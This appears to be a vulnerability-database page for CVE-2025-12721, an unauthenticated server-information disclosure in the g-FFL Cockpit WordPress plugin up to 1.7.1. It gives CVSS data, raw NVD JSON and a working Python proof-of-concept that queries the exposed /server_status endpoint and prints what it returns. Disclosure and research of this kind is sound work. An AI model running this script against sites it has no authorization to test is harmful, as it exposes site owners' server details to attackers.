Security Vulnerability Report
中文
CVE-2025-12721 CVSS 5.3 MEDIUM

CVE-2025-12721

Published: 2025-12-06 06:15:51
Last Modified: 2026-04-15 00:35:42

Description

The g-FFL Cockpit plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.7.1 via the /server_status REST API endpoint due to a lack of capability checks. This makes it possible for unauthenticated attackers to extract information about the server.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

g-FFL Cockpit plugin <= 1.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12721 PoC - Unauthenticated Server Status Information Disclosure # Affected: WordPress g-FFL Cockpit Plugin <= 1.7.1 import requests import sys import json def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-12721 """ # Construct the vulnerable REST API endpoint endpoint = target_url.rstrip('/') + '/wp-json/g-ffl-cockpit/v1/server_status' print(f"[*] Testing target: {target_url}") print(f"[*] Endpoint: {endpoint}") print("-" * 60) try: # Send unauthenticated GET request to the vulnerable endpoint headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json' } response = requests.get(endpoint, headers=headers, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: try: data = response.json() print("[!] VULNERABLE - Server status information exposed!") print("\n[+] Exposed Information:") print(json.dumps(data, indent=2, ensure_ascii=False)) return True except json.JSONDecodeError: print("[!] VULNERABLE - Endpoint accessible, but response is not JSON") print(f"Response preview: {response.text[:500]}") return True elif response.status_code == 401 or response.status_code == 403: print("[-] NOT VULNERABLE - Endpoint requires authentication") return False else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-12721.py <target_url>") print("Example: python cve-2025-12721.py https://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12721", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:50.900", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The g-FFL Cockpit plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.7.1 via the /server_status REST API endpoint due to a lack of capability checks. This makes it possible for unauthenticated attackers to extract information about the server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/d0n601/CVE-2025-12721", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/g-ffl-cockpit/trunk/includes/class-sync-endpoint.php#L1385", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3413768/", "source": "[email protected]"}, {"url": "https://ryankozak.com/posts/cve-2025-12721/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2fd8c981-081c-4671-ad1e-3caf004669dd?source=cve", "source": "[email protected]"}]}}